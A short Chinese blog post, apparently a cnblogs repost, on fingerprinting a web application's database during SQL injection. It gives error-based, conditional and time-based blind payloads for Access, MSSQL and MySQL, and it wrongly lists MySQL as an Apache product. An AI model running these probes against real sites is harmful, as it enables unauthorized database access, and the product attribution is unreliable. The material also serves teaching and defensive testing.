zoukankan      html  css  js  c++  java
  • SQL注入攻击技巧总结

    0×01 你要知道目前有哪些数据库

    微软公司旗下的:

    Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或者ASP.NET)

    access,微软Office系列产品之一,极小型数据库。功能和性能当然也是相当一般。性能甚至可以说是相当低(常与ASP应用交互)

    Oracle公司旗下的:

    MySQL 是一个关系型数据库管理系统(常与PHP web应用交互)

    Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统

    Apache旗下的:

    MySql

    0×02 判断你的web应用是什么类型的数据库

    (在可注入的情况下,判断数据库类型)(我以数字型注入为例子)

    单引号判断:

    id=1′页面出现类似错误显示 “Microsoft JET Database Engine 错误 ’80040e14′” JET 为ACCESS数据库
    id=1′页面出现类似错误显示 “Microsoft OLE DB Provider for sql server错误 ‘xxxxxx’ ” 就为MSSQL数据库

    条件判断:
    id=1 and user>0 出错爆出user用户名的是 MSSQL

    如果不爆错,那么我们用以下方式

    id=1 and (select count(*) from sysobjects)>0 访回与id=1时页面一样 就为MSSQL数据库

    id=1 and (select count(*) from msysobjects)>0 access会返回你没有权限查看

    如果也没反应怎么办?

    那我们就盲注吧

    mysql 盲注语句为 id=1 and if(1=1,benchmark(100,md5(1)),0) //如果可延时执行,为Mysql数据库
    mssql 盲注语句为 id=1 and if(1=1) waitfor delay ’00:00:04′;

    0×03 针对数据库类型,进行相应的SQL注入攻击

    看了下面的文章,你可能知道为什么要分析是web应用是什么数据库啦!

    如果你分析为 MYSQL 注入,我推荐你看这篇文章。

    http://websec.ca/kb/sql_injection#MySQL_Default_Databases

    如果你分析为 MSSQL 注入,我推荐你看这篇文章。

    http://websec.ca/kb/sql_injection#MSSQL_Default_Databases

    如果你分析为 ORACLE 注入,我推荐你看这篇文章。

    http://websec.ca/kb/sql_injection#Oracle_Default_Databases

  • 相关阅读:
    最近工作
    有点感受
    日子有点快
    IDEA配置spring
    IDEA配置hibernate
    mysql插入中文乱码
    深夜配置一把struts2
    IDEA 配置SSH2
    找工作的事情
    YTU 2509: 奇怪的分式
  • 原文地址:https://www.cnblogs.com/milantgh/p/3602160.html
Copyright © 2011-2022 走看看